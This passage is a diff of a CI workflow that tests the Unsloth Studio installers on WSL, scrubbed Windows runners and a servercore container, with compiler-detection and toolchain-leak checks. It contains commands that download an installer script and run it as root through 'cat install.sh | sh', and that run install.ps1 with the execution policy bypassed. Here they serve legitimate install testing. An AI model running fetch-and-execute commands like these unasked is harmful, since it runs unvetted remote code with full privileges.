- # the FileSystemWatcher missed would be reported as "no compiler process" rather than as
- # "not measured". windows-no-compiler-ci.yml enables the same two settings.
+ # Watch-ForCompiler.ps1's 4688 detector needs process-creation auditing enabled by the caller.
auditpol /set /subcategory:"Process Creation" /success:enable | Out-Null
$auditKey = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit'
New-Item -Path $auditKey -Force | Out-Null
New-ItemProperty -Path $auditKey -Name 'ProcessCreationIncludeCmdLine_Enabled' `
-Value 1 -PropertyType DWord -Force | Out-Null
- # Large enough that the install's own process noise cannot roll the watched window off
- # the end of the log.
+ # Large enough that install noise cannot roll the watched window off the log.
wevtutil sl Security /ms:268435456
$state = auditpol /get /subcategory:"Process Creation"
$state | Tee-Object -FilePath logs/auditpol.txt
- # Out-String first: auditpol returns an array, and -notmatch on an array filters instead
- # of testing, so the surviving header lines make any array truthy.
+ # Out-String first: -notmatch on an array filters instead of testing.
if (($state | Out-String) -notmatch 'Process Creation\s+Success') {
Write-Host '::error::process creation auditing did not turn on; this lane cannot measure whether a compiler ran'
exit 1
}
- # A machine-policy override can leave auditpol reporting Success while no 4688 is written,
- # and a clean run looks identical to an unmeasured one. So compile something on purpose
- # and require both halves to see it before any clean verdict below is believed.
+ # Positive control: policy may report auditing on while writing no 4688s, so compile on purpose.
. "$env:GITHUB_WORKSPACE\.github\scripts\Watch-ForCompiler.ps1"
$control = Invoke-WithCompilerWatch -Name 'wsl-control' -EvidenceRoot "$PWD/logs" -Action {
- # The only Add-Type in this lane, here to make the detector fire.
Add-Type -TypeDefinition 'public static class UnslothWslCompilerProbe { public static int N() { return 1; } }'
}
- # BOTH halves, because the install below trusts both. Checking only the process half left
- # a FileSystemWatcher that never attached, or stopped reporting creations, looking exactly
- # like a run where no library was dropped -- and $seen.TempLibraries is the half the
- # Bitdefender report in #10540 actually keyed on. windows-no-compiler-ci.yml validates
- # both for the same reason.
+ # Require both detector halves to fire, since the install below trusts both.
if (-not $control.Compilers) {
Write-Host '::error::the positive control compiled a type and no compiler process was recorded; a clean result from this lane would mean nothing'
exit 1
@@ -1059,11 +837,8 @@ jobs:
- name: Install inside WSL, piped exactly as documented
shell: pwsh
run: |
- # Only ca-certificates + curl: the one-liner cannot start without a transport.
wsl -d unsloth-ci -u root -- sh -c 'apt-get update -qq && apt-get install -y -qq --no-install-recommends ca-certificates curl' 2>&1 | Tee-Object -FilePath logs/wsl-bootstrap.log
- # A `published` dispatch asks whether unsloth.ai's script works, and running the
- # checked-out one answered a different question under the same name. Empty on
- # pull_request/push, so automatic runs stay on this ref.
+ # Honour installer_source=published; empty on pull_request/push.
if ('${{ inputs.installer_source }}' -eq 'published') {
Write-Host 'installer: published (unsloth.ai)'
wsl -d unsloth-ci -u root -- sh -c 'curl -fsSL https://unsloth.ai/install.sh -o /root/install.sh'
@@ -1072,22 +847,14 @@ jobs:
exit 1
}
} else {
- # Copy the script in rather than read across /mnt/c: a DrvFs path brings Windows
- # permissions and CRLF risk, neither of which a real WSL user has.
+ # Copy the script in: reading via /mnt/c brings Windows permissions and CRLF risk.
$wslPath = (wsl -d unsloth-ci -- wslpath -a "$($env:GITHUB_WORKSPACE -replace '\\','/')/install.sh").Trim()
Write-Host "installer source in WSL: $wslPath"
wsl -d unsloth-ci -u root -- cp "$wslPath" /root/install.sh
}
- # Watched LIVE while it runs, not inspected afterwards. The shortcut path runs
- # powershell.exe on the Windows side, so a compile would happen here, and CodeDom deletes
- # its whole intermediate directory once the assembly is loaded -- Watch-ForCompiler.ps1
- # records that a before-and-after listing "saw nothing at all while 4688 recorded
- # csc.exe". A post-hoc search for .cmdline files therefore cannot fail for the case this
- # lane exists to catch, and a control that plants persistent files only proves the search
- # can traverse a directory.
+ # Watch live: CodeDom deletes its intermediates, so a post-hoc search cannot catch a compile.
. "$env:GITHUB_WORKSPACE\.github\scripts\Watch-ForCompiler.ps1"
$seen = Invoke-WithCompilerWatch -Name 'wsl-install' -EvidenceRoot "$PWD/logs" -Action {
- # Piped, the `curl ... | sh` shape, so an early exit still exposes the broken pipe.
wsl -d unsloth-ci -u root -- sh -c 'cd /root && cat install.sh | sh' 2>&1 |
Tee-Object -FilePath logs/wsl-install.log
$global:installRc = $LASTEXITCODE
@@ -1100,8 +867,6 @@ jobs:
exit 1
}
if ($seen.TempLibraries) {
- # The other end of the same chain, and the one the Bitdefender report in #10540 keyed
- # on: Add-Type leaves a freshly built DLL in the temp directory.
Write-Host "::error::a compiled library was dropped in the Windows temp during the WSL install: $($seen.TempLibraries -join ', ')"
exit 1
}
@@ -1111,19 +876,14 @@ jobs:
Write-Host '::error::the WSL install produced no log'
exit 1
}
- # The pipe-integrity check. Interop (_maybe_reroute_strixhalo_to_2404 ->
- # powershell.exe, wsl.exe) relays the stdin it inherited, so before #7548 it drank
- # the rest of the piped script and sh died on a half-read line. #7548's
- # _unsloth_main wrapper makes sh parse the file in full first; a truncation here
- # means that regressed.
+ # Interop relays inherited stdin and can truncate a piped script; a hit means the
+ # _unsloth_main wrapper regressed.
if (Select-String -Path logs/wsl-install.log `
-Pattern 'Syntax error: Unterminated quoted string' -Quiet) {
Write-Host '::error::the piped install was truncated again; install.sh is no longer parsed in full before it runs'
exit 1
}
- # Printing the code discarded it, and the next step's CLI check cannot compensate:
- # install.sh links the `unsloth` shim (4174-4182) BEFORE it reports a failing
- # studio/setup.sh (4219-4230), so a late failure leaves a working --version.
+ # install.sh links the CLI before setup.sh can fail, so --version alone cannot catch it.
if ($installRc -ne 0) {
Write-Host "::error::WSL installer exited $installRc"
exit $installRc
@@ -1133,12 +893,9 @@ jobs:
if: always()
shell: pwsh
run: |
- # The platform line proves the wsl branch was taken rather than plain linux.
Select-String -Path logs/wsl-install.log -Pattern 'platform|\[TAURI:DIAG\]|wsl' -ErrorAction SilentlyContinue |
Select-Object -First 10
- # Printing could not fail, and that alternation also matches `platform linux`, so a
- # detection regression would pass as a plain-Linux install. `step` writes the label
- # in reverse video, so strip ANSI or an anchored match never hits.
+ # `step` prints labels in reverse video, so strip ANSI before an anchored match.
$esc = [char]27
$platformLines = @(
Get-Content logs/wsl-install.log -ErrorAction SilentlyContinue |
@@ -1150,8 +907,7 @@ jobs:
Write-Host '::error::installer never reported ''platform wsl''; the WSL branch was not exercised'
exit 1
}
- # No `|| echo`: substituting a message for a missing CLI made the inner shell, this
- # step and the job all succeed on an install that produced nothing.
+ # No `|| echo`: a missing CLI must fail.
$verify = wsl -d unsloth-ci -u root -- sh -c 'set -e; test -x "$HOME/.unsloth/studio/unsloth_studio/bin/unsloth"; "$HOME/.unsloth/studio/unsloth_studio/bin/unsloth" --version' 2>&1
$verifyRc = $LASTEXITCODE
$verify | Tee-Object -FilePath logs/wsl-verify.log
@@ -1164,15 +920,7 @@ jobs:
if: always()
shell: pwsh
run: |
- # The only lane that runs install.sh's WSL shortcut branch, so the only one that can
- # answer either half of this. Both halves changed together: the generated script moved
- # from WSL's /tmp (a \\wsl.localhost UNC path, which is why it needed a relaxed execution
- # policy) to the Windows %TEMP%, and its icon-refresh declaration stopped compiling.
- #
- # Advisory, not fatal. Shortcut creation is best-effort in the installer itself -- it
- # warns and continues when interop is unavailable -- so failing the job for an absent
- # .lnk would make this stricter than the code it measures. What must never be advisory is
- # the compiler check below.
+ # Advisory: the installer treats shortcut creation as best-effort. The compiler check is not.
$names = @('Unsloth Studio (WSL*.lnk')
$roots = @(
[Environment]::GetFolderPath('Desktop'),
@@ -1194,8 +942,7 @@ jobs:
Write-Host "shortcut: $($lnk.Name)"
Write-Host " target: $($sc.TargetPath)"
Write-Host " args : $($sc.Arguments)"
- # wsl.exe or wt.exe, never a script engine. #6326 removed the .vbs launcher for
- # exactly this reason and nothing in the WSL path should reintroduce one.
+ # Never a script engine target; the .vbs launcher was removed on purpose.
if ($sc.TargetPath -match 'wscript|cscript|mshta') {
Write-Host "::error::$($lnk.Name) launches a script host: $($sc.TargetPath)"
exit 1
@@ -1203,22 +950,8 @@ jobs:
}
}
- # The compiler half. A .cmdline or .rsp in the Windows %TEMP% is csc.exe's response file,
- # and nothing else writes one, so a hit means the icon-refresh declaration is compiling
- # again.
- #
- # Positive control first, because a detector that sees nothing looks exactly like a clean
- # run, and every reason it could see nothing is silent: an unreadable TEMP, a TEMP that is
- # not the one the interop process used, a Get-ChildItem that fails on a long path. Plant
- # one intermediate of each kind, require the search to find both, then remove them. If the
- # control does not fire the job fails as a broken detector rather than reporting a pass.
- # The planted files carry a nonce in their NAME, and the control matches on the name.
- # It used to match on the directory, `$_.FullName -like (Join-Path $controlDir '*')`,
- # which compares two strings that need not spell the same directory the same way:
- # %TEMP% on a hosted runner is the 8.3 form (C:\Users\RUNNER~1\...), and whether an
- # enumerated FullName comes back short or long is not something this check should be
- # betting on. A nonce in the filename is unique on its own, so nothing has to agree
- # about paths.
+ # A .cmdline or .rsp in %TEMP% means csc.exe ran. Plant a positive control first; match it
+ # by a filename nonce, since %TEMP% may be an 8.3 short path.
$controlStamp = [guid]::NewGuid().ToString('N').Substring(0, 8)
$controlDir = Join-Path $env:TEMP ('unsloth-compiler-control-' + $controlStamp)
New-Item -ItemType Directory -Path $controlDir -Force | Out-Null
@@ -1232,10 +965,6 @@ jobs:
$controlSeen = @($controlSweep | Where-Object { $controlNames -contains $_.Name })
Remove-Item -LiteralPath $controlDir -Recurse -Force -ErrorAction SilentlyContinue
if ($controlSeen.Count -lt 2) {
- # SAY WHICH HALF FAILED. This check exists because "the detector saw nothing" and
- # "there was nothing to see" look identical, and the first version reproduced that
- # very problem one level up: writing, sweeping and matching all fail as `0 of 2`.
- # These three numbers separate them, so the next failure names its own cause.
Write-Host "::error::the compiler-intermediate detector is broken: it found $($controlSeen.Count) of 2 planted files under $env:TEMP."
Write-Host "::error::wrote $($controlOnDisk.Count) of 2 control files; the %TEMP% sweep returned $($controlSweep.Count) intermediate(s) in total; planted under $controlDir looking for $($controlNames -join ', ')."
Write-Host '::error::Not reporting this run as clean. A search that cannot see a file it just wrote cannot see one csc.exe wrote either.'
@@ -1250,10 +979,7 @@ jobs:
Write-Host "::error::the generated shortcut script was not cleaned up: $($leftovers.Name -join ', ')"
exit 1
}
- # Leftovers only. The compile itself is judged by the live watch around the install step,
- # because CodeDom cleans up after itself and this listing would see nothing either way.
- # Kept because it catches what IS left behind, which is the other half of the union
- # Watch-ForCompiler.ps1 describes.
+ # Leftovers only; the compile itself is judged by the live watch.
$compiled = @(
Get-ChildItem -LiteralPath $env:TEMP -Recurse -Include '*.cmdline', '*.rsp' -ErrorAction SilentlyContinue |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddMinutes(-30) }
@@ -1296,24 +1022,18 @@ jobs:
with:
persist-credentials: false
- # No actions/setup-python here either: install.ps1 must bootstrap Python.
+ # No setup-python: install.ps1 must bootstrap Python.
- name: Simulate a clean machine
shell: pwsh
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
- # Drop preinstalled Python, git, CMake, VS/LLVM and the WindowsApps aliases from
- # PATH. A full Visual Studio uninstall is not realistic in CI (registry + vswhere
- # discovery, slow, may need a reboot), so PATH and env scrubbing is the honest
- # approximation, recorded as such.
+ # Drop preinstalled toolchains from PATH; a full VS uninstall is not feasible in CI.
$drop = @('hostedtoolcache\windows\Python', 'WindowsApps', '\Git\',
'CMake', 'Microsoft Visual Studio', 'BuildTools', 'LLVM',
'MSYS', 'mingw', 'Strawberry')
- # winget is an app-execution alias in ...\Local\Microsoft\WindowsApps, so the
- # blanket drop removed it on EVERY leg and winget=visible silently ran the same
- # fallback as winget=masked. Resolve it before the scrub and shim it back, so the
- # visible leg gets winget without the Store's python.exe alias. windows-11-arm has
- # no winget on the hosted image (actions/runner-images#14083).
+ # winget is a WindowsApps alias, so resolve it before the scrub and shim it back on the
+ # visible leg. windows-11-arm images have no winget.
$wantWinget = ('${{ matrix.winget }}' -ne 'masked') -and ('${{ matrix.os }}' -eq 'windows-latest')
$wingetCmd = Get-Command winget -ErrorAction SilentlyContinue
$scrub = {
@@ -1338,9 +1058,7 @@ jobs:
-Value "@`"$($wingetCmd.Source)`" %*"
$kept = @($shim) + $kept
}
- # Off disk, not just off PATH: py.exe lives in C:\Windows (which must stay) and uv
- # does its own discovery, so both reach the toolcache whatever PATH says. That is
- # how a leg printing `python ABSENT` still installed the runner's 3.13.14.
+ # Rename off disk: py.exe and uv discover the toolcache regardless of PATH.
foreach ($tc in @("$env:AGENT_TOOLSDIRECTORY\Python", 'C:\hostedtoolcache\windows\Python')) {
if ($tc -and (Test-Path $tc)) {
try { Rename-Item -LiteralPath $tc -NewName 'Python.masked' -ErrorAction Stop
@@ -1350,13 +1068,8 @@ jobs:
}
$newPath = ($kept -join ';')
"PATH=$newPath" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
- # install.ps1's Refresh-SessionPath (318-337, called at 1246/1278/1295/1360/1369/
- # 2797) MERGES the Machine and User registry PATHs back into $env:Path, so a
- # process-only scrub lasts until the first bootstrap refresh, after which
- # Git/CMake/VS/LLVM are back and the rest of the install is not clean. The runner
- # is ephemeral, so rewrite the registry copies too; the merge is why the shim
- # keeps resolving. Expand first: SetEnvironmentVariable rewrites REG_EXPAND_SZ as
- # REG_SZ (dotnet/runtime#1442).
+ # install.ps1 merges registry PATHs back into $env:Path, so scrub the registry too.
+ # Expand first: SetEnvironmentVariable rewrites REG_EXPAND_SZ as REG_SZ.
foreach ($scope in 'Machine','User') {
$raw = [System.Environment]::GetEnvironmentVariable('Path', $scope)
if ([string]::IsNullOrWhiteSpace($raw)) { continue }
@@ -1377,36 +1090,26 @@ jobs:
shell: pwsh
run: |
$leaked = @()
- # `py` too: the launcher lives in C:\Windows, which the scrub keeps, and finds the
- # toolcache Python the scrub only removed from PATH.
+ # py too: the launcher in C:\Windows can still find the toolcache Python.
foreach ($t in 'python','py','git','cmake','cl') {
$f = Get-Command $t -ErrorAction SilentlyContinue
Write-Host ("{0,-8} {1}" -f $t, $(if ($f) { $f.Source } else { 'ABSENT' }))
if ($f -and $t -ne 'py') { $leaked += "$t -> $($f.Source)" }
}
- # The launcher may stay, but an interpreter it can still START is a leak:
- # Find-CompatiblePython (install.ps1:1130-1153) probes `py` first, so a version
- # registered outside the renamed dirs gets reused and the bootstrap never runs.
+ # install.ps1 probes py first, so an interpreter py can still start would skip the bootstrap.
if (Get-Command py -ErrorAction SilentlyContinue) {
- # -0p is the launcher's REGISTRY view and the mask renames directories without
- # rewriting it, so -0p names paths that no longer exist: context for a failure,
- # never evidence. Only a probe that STARTS counts.
+ # -0p shows stale registry entries; only a probe that starts counts.
Write-Host "py -0p (stale registry entries; masked paths no longer exist on disk):"
& py -0p 2>&1 | ForEach-Object { Write-Host " $_" }
foreach ($v in '-3.11', '-3.12', '-3.13') {
$out = & py $v -c "import sys; print(sys.executable)" 2>&1
$rc = $LASTEXITCODE
- # Print every probe: when this next fails it must say why.
Write-Host ("py {0} -> exit {1}: {2}" -f $v, $rc, (($out | Out-String).Trim() -replace '\r?\n', ' / '))
if ($rc -eq 0) { $leaked += "py $v -> $out" }
}
- # A FAILING probe is the outcome we want, but cmdlets never reset $LASTEXITCODE
- # and the runner appends `exit $LASTEXITCODE` to every pwsh step
- # (actions/runner#351) -- so all three legs exited 1 on clean machines.
+ # Reset: the runner appends `exit $LASTEXITCODE` to pwsh steps and the failing probes set it.
$global:LASTEXITCODE = 0
}
- # Printing alone could not fail: run 30365014702 logged `python ABSENT` then
- # `Python 3.13 already installed` / `Using CPython ... C:\hostedtoolcache\...`.
if ($leaked) {
Write-Host "::error::developer tooling survived the scrub: $($leaked -join '; ')"
exit 1
@@ -1419,28 +1122,23 @@ jobs:
exit 1
}
} elseif ('${{ matrix.os }}' -eq 'windows-latest' -and -not $winget) {
- # Or the visible leg quietly degrades into a second masked leg.
Write-Host '::error::winget is not resolvable on the visible leg; the winget bootstrap is not under test'
exit 1
}
foreach ($scope in 'Machine','User') {
Write-Host ("{0} PATH after scrub: {1}" -f $scope, [System.Environment]::GetEnvironmentVariable('Path', $scope))
}
- # Every failure above exits 1 explicitly, so reaching here means clean; say so
- # rather than let the runner's appended `exit $LASTEXITCODE` decide.
+ # Explicit exit 0 so the runner's appended `exit $LASTEXITCODE` cannot decide.
exit 0
- name: Install
id: install
shell: pwsh
env:
- # Empty, and so ignored by install.ps1, on the non-overlay legs.
UNSLOTH_CI_SOURCE_OVERLAY: ${{ matrix.overlay && inputs.installer_source != 'published' && github.workspace || '' }}
run: |
$ErrorActionPreference = 'Continue'
- # Windows ships its own published script (install.ps1:3), so `published` means
- # something here too: running the checked-out one regardless made a dispatch about
- # unsloth.ai report on this ref. Empty on pull_request/push.
+ # Honour installer_source=published; empty on pull_request/push.
$script = './install.ps1'
if ('${{ inputs.installer_source }}' -eq 'published') {
Invoke-WebRequest -Uri https://unsloth.ai/install.ps1 `
@@ -1450,19 +1148,14 @@ jobs:
} else {
Write-Host "installer: this ref ($env:GITHUB_SHA)"
}
- # No -SkipTorch: install.ps1's parser matches `--no-torch` only (112-142), so the
- # token was dropped and every leg installed torch anyway; the assert below needs
- # it, so ask for it. Under powershell.exe, not this pwsh 7 step: a clean Windows
- # box ships 5.1 only, and the desktop launches it the same way (install.rs:325-339).
+ # No torch-skip flag: the torch assert below needs torch. powershell.exe 5.1, as on a clean box.
& powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass `
-File $script *>&1 | Tee-Object -FilePath logs/install.log
$rc = $LASTEXITCODE
Write-Host "installer exit code: $rc"
exit $rc
- # Windows asserted nothing about the install ITSELF: nobuild and the toolchain check
- # only read the log, so an installer that exited 0 having produced nothing satisfied
- # both -- and two of these rows are only just off a pin.
+ # nobuild only reads the log, so check the install produced something runnable.
- name: Assert the install is actually usable
shell: pwsh
run: |
@@ -1480,19 +1173,15 @@ jobs:
Write-Host "::error::installer exited 0 but left no unsloth CLI at $cli"
exit 1
}
- # Present is not runnable: the console script imports the whole command tree, so a
- # missing dependency or unimportable extension surfaces here and nowhere else.
+ # The console script imports the whole command tree, so this catches missing deps.
& $cli --version
if ($LASTEXITCODE -ne 0) {
Write-Host '::error::the unsloth CLI is on disk but does not run'
exit 1
}
- # What #7549 has to produce on this host, checked as an outcome rather than the log
- # line announcing it. torchaudio, pyarrow and hf-transfer publish no win_arm64 wheel,
- # so a native ARM64 interpreter cannot resolve the stack; the installer's answer is to
- # prefer, and if necessary bootstrap, an x64 CPython and run it emulated. Asked of the
- # interpreter via sysconfig, not PROCESSOR_ARCHITECTURE, which describes the shell.
+ # Some deps have no win_arm64 wheels, so ARM64 hosts must use an emulated x64 interpreter.
+ # Ask sysconfig; PROCESSOR_ARCHITECTURE describes the shell.
- name: Assert the ARM64 host installed against an x64 interpreter
if: matrix.os == 'windows-11-arm'
shell: pwsh
@@ -1505,19 +1194,14 @@ jobs:
Write-Host "::error::the venv was built from a '$tag' interpreter, so the x64 preference on ARM64 hosts has regressed and the missing win_arm64 wheels are back"
exit 1
}
- # The package that has never shipped a win_arm64 wheel, so its presence proves the
- # emulated x64 stack really resolved. Metadata, not an import: this asserts
- # resolution, the torch assert below does the import.
+ # torchaudio has no win_arm64 wheel, so its presence proves the x64 stack resolved.
& $venvPy -c "from importlib.metadata import version; print('torchaudio', version('torchaudio'))"
if ($LASTEXITCODE -ne 0) {
Write-Host '::error::torchaudio is not installed, so the x64 interpreter did not buy the wheels it was chosen for'
exit 1
}
- # The other half of what #7549 has to produce, and the only row where the relaxed git
- # gate matters: winget is masked, so there is no way to fetch git and setup.ps1 used
- # to refuse to continue. Assert the relaxed branch was taken, so the row cannot go
- # green on git leaking back onto PATH with the gate never reached.
+ # winget is masked here, so assert the relaxed git gate was taken, not git leaking back.
- name: Assert the no-winget path installed without git
if: matrix.winget == 'masked'
shell: pwsh
@@ -1547,7 +1231,6 @@ jobs:
}
Write-Host 'no winget, no git, and the install completed anyway'
- # See the macOS job: proves the leg tests what its matrix row claims.
- name: Assert this ref's Python was really put under test
if: matrix.overlay && inputs.installer_source != 'published' && steps.install.outcome == 'success'
shell: pwsh
@@ -1562,28 +1245,20 @@ jobs:
if: always() && steps.install.outcome != 'skipped'
shell: pwsh
run: |
- # Windows checked nothing after the install, so setup.ps1 committing to a llama.cpp
- # SOURCE build would winget-install CMake (setup.ps1:816-822) and VS Build Tools
- # (845-857) and the leg still went green. Git is out of scope on purpose:
- # bootstrapping it through winget (1658-1661) is the consumer path the visible leg
- # exercises, and the VC++ runtime is a runtime, not a toolchain.
+ # Fail if setup.ps1 committed to a llama.cpp source build and installed CMake or VS Build Tools.
$bad = @()
if (-not (Test-Path logs/install.log)) {
Write-Host '::error::no install log, so nothing proves the install stayed toolchain-free'
exit 1
}
- # The announcements inside Ensure-BuildToolsForLlamaSourceBuild, which runs only for
- # a committed source build. Matched instead of the package ids because setup.ps1
- # PRINTS `winget install ...BuildTools` as advice when winget is missing.
+ # Match announcements, not package ids: setup.ps1 prints winget commands as advice.
foreach ($m in 'CMake not found -- installing via winget',
'Visual Studio Build Tools not found -- installing via winget') {
if (Select-String -Path logs/install.log -Pattern $m -SimpleMatch -Quiet) {
$bad += "install log reports: $m"
}
}
- # winget puts what it installs on the MACHINE PATH, which this step's scrubbed
- # process PATH never sees, so read the registry copies rather than ask
- # Get-Command. The scrub removed every matching entry, so a hit means it came back.
+ # winget writes the machine PATH, which this scrubbed process never sees; read the registry.
foreach ($scope in 'Machine','User') {
$raw = [System.Environment]::GetEnvironmentVariable('Path', $scope)
if ([string]::IsNullOrWhiteSpace($raw)) { continue }
@@ -1603,35 +1278,22 @@ jobs:
if: always() && steps.install.outcome != 'skipped'
shell: pwsh
run: |
- # The step above only catches a NEW CMake or VS Build Tools install. The image's
- # Visual Studio survives a PATH scrub: Find-VsBuildTools (setup.ps1:763-800)
- # reaches it via vswhere and a Program Files scan, and the visible leg logs
- # `vs Visual Studio 18 2026 (vswhere)` on the same machine whose pre-flight
- # printed `cl ABSENT`. So a dependency that lost its Windows wheel would compile
- # against that MSVC and stay green while macOS and Linux caught it. uv really does
- # build sdists here, so this is the live path.
+ # The image's Visual Studio survives the scrub via vswhere, so assert uv built no sdists.
& "$env:GITHUB_WORKSPACE/.github/scripts/assert-nobuild.ps1" -LogPath logs/install.log
- name: Assert torch loads, and record what that does and does not prove
if: steps.install.outcome == 'success'
shell: pwsh
run: |
- # HONESTY NOTE: the image ships the VC++ 2015-2022 runtime in System32 and cannot
- # lose it without breaking the runner, so `import torch` succeeding does NOT prove
- # a clean no-winget machine has it -- Test-VCRedistInstalled (setup.ps1:875) finds
- # the preinstalled DLL and Ensure-VCRedist (891) short-circuits. Record that, then
- # assert what CAN fail.
+ # The image always ships the VC++ runtime, so import torch here cannot prove a clean machine has it.
$sys32 = Join-Path $env:WINDIR 'System32\vcruntime140_1.dll'
Write-Host "preinstalled System32 vcruntime140_1.dll: $(Test-Path $sys32)"
- # The managed interpreter, with no fallback to whatever `python` resolves to: the
- # usability assert above hard-fails when it is missing, and a fallback would answer
- # this with an interpreter the install did not create.
+ # Use the managed interpreter only; no fallback to whatever python resolves to.
$py = Join-Path $env:UNSLOTH_STUDIO_HOME 'unsloth_studio\Scripts\python.exe'
& $py -c "import ctypes.util, sys; print('VCRUNTIME140:', ctypes.util.find_library('vcruntime140'))"
& $py -c "import torch; print('torch', torch.__version__)"
if ($LASTEXITCODE -ne 0) { Write-Host '::error::torch failed to import (VC++ runtime missing?)'; exit 1 }
if ('${{ matrix.winget }}' -eq 'masked') {
- # install.ps1:1098, the no-winget branch of the winget check.
$noWinget = 'will require Python + uv to be already installed'
if (-not (Select-String -Path logs/install.log -Pattern $noWinget -SimpleMatch -Quiet)) {
Write-Host '::error::masked leg never reported winget as unavailable; it did not take the no-winget path'
@@ -1649,20 +1311,9 @@ jobs:
if-no-files-found: warn
# ── Windows, genuinely virgin: the same install inside a Windows container ────
- # The `win` legs above only SIMULATE absence, and two things they structurally cannot test
- # are the VC++ 2015-2022 runtime (it ships in the image's System32 and cannot be removed
- # without breaking the runner) and a Windows with no Microsoft Store at all rather than a
- # winget hidden from PATH. A servercore container answers both, so this lane lives here.
- #
- # Constraints, all load-bearing:
- # * `container:` is Linux-only on the Actions runner (actions/runner#1402), so docker
- # is driven from ordinary `run:` steps and the payload goes in by `docker cp` --
- # actions/checkout inside the container would need git.
- # * servercore, not nanoserver: install.ps1 needs Windows PowerShell 5.1, which
- # nanoserver does not ship at all.
- # * windows-2022, not windows-latest: process isolation needs host and container builds
- # to match, and only the 2022 image pre-caches ltsc2022 (windows-latest is Server 2025
- # and caches no Windows images).
+ # Genuinely virgin Windows: a servercore container has no VC++ runtime and no Store.
+ # container: is Linux-only, so drive docker from run steps. windows-2022 because process
+ # isolation needs matching host and image builds and only it pre-caches ltsc2022.
windows_container_probe:
name: virgin win container / probe
needs: select
@@ -1678,9 +1329,7 @@ jobs:
fetch-depth: 1
persist-credentials: false
- # Docker is on every windows-2022 image but is not always already running: a spike leg
- # died in 21s on npipe:////./pipe/docker_engine, which misreads as "Windows containers
- # are unavailable".
+ # Docker is installed but not always running on windows-2022.
- name: Ensure the Docker daemon is running
shell: pwsh
run: ./.github/scripts/ensure-docker-daemon.ps1
@@ -1701,9 +1350,7 @@ jobs:
- name: Start the container
shell: pwsh
run: |
- # Never refresh a cached image: process isolation needs the container build <= the
- # host build, and MCR has shipped a patched image ahead of the host before
- # (actions/runner-images#11582 broke Windows containers for ~2 weeks).
+ # Use the pre-cached image only: a pulled image newer than the host build breaks isolation.
if ((docker images --format '{{.Repository}}:{{.Tag}}') -contains $env:IMAGE) {
Write-Host "using the runner's pre-cached $env:IMAGE (no pull)"
} else {
@@ -1711,8 +1358,7 @@ jobs:
docker pull $env:IMAGE
if ($LASTEXITCODE -ne 0) { Write-Host "::error::could not pull $env:IMAGE"; exit 1 }
}
- # A keepalive entrypoint so each assertion is its own `docker exec`, and so its own
- # step with its own exit code.
+ # Keepalive so each assertion is its own docker exec step.
docker run -d --name virgin $env:IMAGE cmd /c "ping -t localhost >nul"
if ($LASTEXITCODE -ne 0) { Write-Host "::error::could not start a container from $env:IMAGE"; exit 1 }
Write-Host "isolation: $(docker inspect virgin --format '{{.HostConfig.Isolation}}')"
@@ -1769,7 +1415,6 @@ jobs:
shell: pwsh
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
- # See the probe job: use the pre-cached image, never refresh it.
if (-not ((docker images --format '{{.Repository}}:{{.Tag}}') -contains $env:IMAGE)) {
Write-Host "::warning::$env:IMAGE not pre-cached; pulling"
docker pull $env:IMAGE
@@ -1780,8 +1425,7 @@ jobs:
docker cp "$env:GITHUB_WORKSPACE\." virgin:C:\ci
docker exec virgin cmd /c "mkdir C:\ci-out"
- # Re-run here and not only in `probe`: different runner, and an install leg that
- # skipped the check would report on an environment it never verified.
+ # Different runner from probe, so re-verify.
- name: Assert the container is genuinely virgin
shell: pwsh
run: |
@@ -1790,18 +1434,12 @@ jobs:
*>&1 | Tee-Object -FilePath logs/virginity.log
exit $LASTEXITCODE
- # AFTER the virginity assertion, so that still proves what it says. A fresh container
- # ships an almost empty trusted-root store while a real desktop fills it via automatic
- # root update, so seeding makes this MORE representative. Needed because
- # studio/install_node_prebuilt.py downloads Node with bare urllib.request.urlopen and
- # gets CERTIFICATE_VERIFY_FAILED off the empty ROOT store; uv and pip bundle certifi.
+ # After the virginity check. A fresh container has an almost empty root store; Node's
+ # urllib download needs it.
- name: Seed the container's trusted root CA store
shell: pwsh
run: |
- # -generateSSTFromWU pulls each root from ctldl.windowsupdate.com, which times out
- # often enough to be this leg's main flake (staging run 30423072537 died on WinHttp
- # 12002 while the sibling row seeded fine). Retry, but never tolerate total
- # failure: without the roots Node's urllib download fails on cert verification.
+ # Retry: ctldl.windowsupdate.com times out often, but total failure is fatal.
for ($i = 1; $i -le 3; $i++) {
docker exec virgin cmd /c "certutil -generateSSTFromWU C:\roots.sst && certutil -addstore -f Root C:\roots.sst" `
*>&1 | Select-Object -Last 15
@@ -1817,13 +1455,6 @@ jobs:
- name: Install into the virgin container
id: install
shell: pwsh
- # Both rows gate. This used to carry a RELEASE-LAG PIN for overlay=false: a Server
- # Core container has no Microsoft Store and so no winget, ever, and the RELEASED
- # studio/setup.ps1 hard-stopped on a winget-only git gate and reached for winget
- # again for the VC++ runtime, so the row that installs from PyPI on purpose could
- # not get past it. #7549 relaxed both, and unsloth 2026.7.6 (uploaded 2026-07-29,
- # after #7549 merged) is the first wheel to ship them, so the row now installs end
- # to end and the pin's own tripwire fired to say so. Nothing is tolerated here.
run: |
$overlayArg = if ('${{ matrix.overlay }}' -eq 'true') { 'C:\ci' } else { '' }
docker exec virgin powershell.exe -NoLogo -NoProfile -NonInteractive `
@@ -1831,9 +1462,7 @@ jobs:
-Overlay "$overlayArg" *>&1 | Tee-Object -FilePath logs/install-outer.log
exit $LASTEXITCODE
- # Both rows. A `docker exec` that lost its container also exits 0, so the exit code
- # alone cannot tell a completed harness from one that never ran. Read the harness's
- # own verdict instead. Needs no `if:`, because a failed Install skips it.
+ # A docker exec that lost its container also exits 0, so read the harness verdict.
- name: Assert the in-container harness reported passing
shell: pwsh
run: |
@@ -1843,18 +1472,11 @@ jobs:
exit 1
}
- # The overlay row runs this ref's studio/setup.ps1, so it carries #7549 and must
- # install end to end. The in-container harness already asserts the venv interpreter,
- # the CLI, `import torch`, the no-winget path, the overlay marker and nobuild, exiting
- # 1 with every failure listed, so the Install step gating is most of the assertion.
- # What follows is the part this lane alone can prove.
- name: Assert the virgin container install proved what this lane exists for
if: matrix.overlay
shell: pwsh
run: |
$log = Get-Content logs/install-outer.log -Raw
- # The overlay hook is this PR's own feature and gates unconditionally: without it
